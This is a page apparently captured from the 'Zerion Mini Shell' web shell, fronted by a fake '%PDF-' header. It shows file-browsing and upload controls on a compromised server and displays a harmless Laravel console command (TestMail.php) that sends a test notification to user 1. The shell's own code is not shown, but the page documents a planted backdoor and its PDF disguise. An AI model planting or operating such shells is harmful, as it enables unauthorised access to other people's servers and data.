%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Console/Commands/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Console/Commands/TestMail.php

<?php

namespace App\Console\Commands;

use App\Models\User;
use Illuminate\Console\Command;

class TestMail extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'testmail';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Command description';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return int
     */
    public function handle()
    {
        /** @var User $user */
        $user = User::find(1);
        $user->notify(new \App\Notifications\TestMail());
        return 0;
    }
}

Zerion Mini Shell 1.0